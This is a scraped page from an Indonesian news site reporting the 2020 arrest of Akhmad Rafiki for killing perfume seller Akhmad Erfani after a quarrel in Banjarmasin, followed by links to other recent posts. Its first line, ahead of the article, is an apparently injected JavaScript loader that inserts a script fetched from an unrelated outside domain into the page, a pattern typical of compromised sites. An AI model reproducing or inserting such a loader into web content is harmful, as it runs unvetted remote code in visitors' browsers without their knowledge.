(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Sempat Cekcok, Rafiki Tega Hilangkan Nyawa Erfani di Jalan Belitung Darat


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Polsek Banjarmasin Barat berhasil meringkus Akhmad Rafiki (23), warga Jalan Belitung Darat Gg Inayah Banjarmasin atas dugaan tindak pidana pembunuhan pada Jumat (26/6/2020). Rafiki diringkus pada 3 Juli 2020 di Bungur, Kabupaten Tapin.

Kapolresta Banjarmasin melalui Kapolsek Banjarmasin Barat Kompol Mars Suryo Kartiko memaparkan, awal mula Rafiki membunuh korban berinisial Akhmad Erfani (35) lantaran sempat cekcok.

“Karena tidak terima dan sempat cekcok dengan istri Rafiki, terjadilah percekcokan dan pembunuhan atau dengan sengaja menghilangkan nyawa seseorang yang kita kenakan pasal 338 KUHP,” kata Kompol Mars di Polsek Banjarmasin Barat, Senin (6/7/2020) siang.

 Tersangka sendiri diringkus saat bersembunyi di rumah keluarganya di Bungur, Kabupaten Tapin. Ia sendiri diringkus oleh Reskrim Polsek Banjarmasin Barat yang dibantu oleh Unit Resmob Polda Kalsel, Unit Jatanras Polresta Bjm, Unit Jatanras Polres Tapin dan Unit Jatanras Polres Hulu Sungai Selatan.

“(Pelaku) menempati salah satu rumah yang kosong. Di sebelah rumah bibinya, jadi dia bersembunyi dan menetap di situ,” ungkapnya.

Barang bukti yang didapat aparat kepolisian sendiri masing-masing satu buah senjata tajam jenis badik tanpa kumpang berwarna coklat sepanjang 25 cm, serta satu buah senjata tajam badik lengkap dengan kumpang warna coklat dengan panjang yang sama. “Barang bukti kita temukan di TKP. Ditinggal di TKP,” lugas Kompol Mars.

Kapolsek memastikan, baik korban Erfani dan pelaku Rafiki tidak saling mengenal satu sama lain. Korban Erfani yang merupakan warga Jalan Pekapuran Raya Komp. Yatera Rt. 015 Rw. 001 Banjarmasin ini sehari-harinya berjualan parfum.

Saat ini, Rafiki ditahan di Mapolsek Banjarmasin Barat untuk mempertanggungjawabkan perbuatannya. Ia sendiri dikenakan pasar 338 KUHP dengan ancaman kurungan 15 tahun penjara. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

3 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

5 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

11 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

11 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

14 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

18 jam ago

This website uses cookies.